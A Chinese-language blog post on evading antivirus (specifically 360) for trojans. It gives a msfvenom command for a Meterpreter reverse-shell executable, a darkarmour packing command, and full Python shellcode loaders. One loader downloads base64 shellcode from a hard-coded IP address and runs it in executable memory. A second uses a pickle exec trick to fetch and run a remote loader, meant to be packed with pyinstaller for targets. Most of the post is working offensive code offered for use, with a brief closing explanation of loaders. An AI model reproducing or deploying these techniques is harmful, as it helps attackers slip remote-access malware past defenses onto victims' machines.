木马免杀(二)


MSF加壳免杀过360

项目地址:https://github.com/bats3c/darkarmour

安装依赖:

sudo apt install mingw-w64-tools mingw-w64-common g++-mingw-w64 gcc-mingw-w64 upx-ucl osslsigncode

MSF生成

msfvenom -p winodws/x64/meterpreter/revserse_tcp LHOST=XXX.XXX.XX.XX LPORT=4444 -f exe -o exploit.exe

执行

./darkarmour.py -f exploit.exe --encrypt xor --jmp -o e.exe --loop 5

CS shellcode免杀过360

目前使用python3处理CS神器生成的shellcode免杀效果还是可以的;使用基于python3的脚本对shellcode做处理,生成exe后进行免杀。

  • 使用CS生成python格式的payload

  • 把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器

  • 修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://39.103.232.183/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
 
shellcode =codecs.escape_decode(shellcode)[0]
 
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  • 最终在目标上执行的exe文件,修改服务器地址后使用pyinstaller打包成exe可执行文件
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.0.1:80/loader.txt').read()
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

shellcode加载器

要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?

我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。

所以shellcode加载器就是为shellcode申请一段内存然后把shellcode加载到内存中让机器执行这段shellcode(这里需要大量使用Windows API函数)。


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录